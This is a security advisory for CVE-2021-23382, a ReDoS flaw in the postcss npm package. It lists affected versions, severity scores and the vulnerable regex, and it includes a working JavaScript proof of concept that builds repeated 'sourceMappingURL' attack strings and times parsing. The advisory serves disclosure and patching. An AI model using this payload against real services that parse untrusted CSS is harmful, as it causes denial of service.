CVE-2021-23382 – postcss

Package

Manager: npm
Name: postcss
Vulnerable Version: >=8.0.0 <8.2.13 || >=0 <7.0.36

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS: 0.00071 pctl0.2226

Details

Regular Expression Denial of Service in postcss The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```

Metadata

Created: 2022-01-07T00:21:36Z
Modified: 2023-09-08T19:35:12Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-566m-qj78-rww5/GHSA-566m-qj78-rww5.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-566m-qj78-rww5
Finding: F002
Auto approve: 1